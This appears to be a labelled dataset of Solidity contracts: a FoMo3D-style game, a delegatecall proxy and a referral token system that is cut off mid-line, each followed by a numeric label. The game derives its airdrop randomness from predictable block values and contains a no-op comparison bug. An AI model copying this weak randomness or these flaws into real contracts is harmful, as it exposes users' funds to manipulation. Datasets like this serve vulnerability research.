reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = UnicornBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(UnicornBook), "only UnicornBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = UnicornBook.getPlayerID(msg.sender);
bytes32 _name = UnicornBook.getPlayerName(_pID);
uint256 _laff = UnicornBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xcD0fce8d255349092496F131f2900DF25f0569F8),
"only owner can activate"
);
require(activated_ == false, "LastUnicorn already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface UnicornInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface UnicornBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,597 |
pragma solidity 0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract IController is Pausable {
event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash);
function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external;
function updateController(bytes32 _id, address _controller) external;
function getContract(bytes32 _id) public view returns (address);
}
contract IManager {
event SetController(address controller);
event ParameterUpdate(string param);
function setController(address _controller) external;
}
contract Manager is IManager {
IController public controller;
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
modifier onlyControllerOwner() {
require(msg.sender == controller.owner());
_;
}
modifier whenSystemNotPaused() {
require(!controller.paused());
_;
}
modifier whenSystemPaused() {
require(controller.paused());
_;
}
function Manager(address _controller) public {
controller = IController(_controller);
}
function setController(address _controller) external onlyController {
controller = IController(_controller);
SetController(_controller);
}
}
contract ManagerProxyTarget is Manager {
bytes32 public targetContractId;
}
contract ManagerProxy is ManagerProxyTarget {
function ManagerProxy(address _controller, bytes32 _targetContractId) public Manager(_controller) {
targetContractId = _targetContractId;
}
function() public payable {
address target = controller.getContract(targetContractId);
require(target > 0);
assembly {
let freeMemoryPtrPosition := 0x40
let calldataMemoryOffset := mload(freeMemoryPtrPosition)
mstore(freeMemoryPtrPosition, add(calldataMemoryOffset, calldatasize))
calldatacopy(calldataMemoryOffset, 0x0, calldatasize)
let ret := delegatecall(gas, target, calldataMemoryOffset, calldatasize, 0, 0)
let returndataMemoryOffset := mload(freeMemoryPtrPosition)
mstore(freeMemoryPtrPosition, add(returndataMemoryOffset, returndatasize))
returndatacopy(returndataMemoryOffset, 0x0, returndatasize)
switch ret
case 0 {
revert(returndataMemoryOffset, returndatasize)
} default {
return(returndataMemoryOffset, returndatasize)
}
}
}
} | 1 | 2,729 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
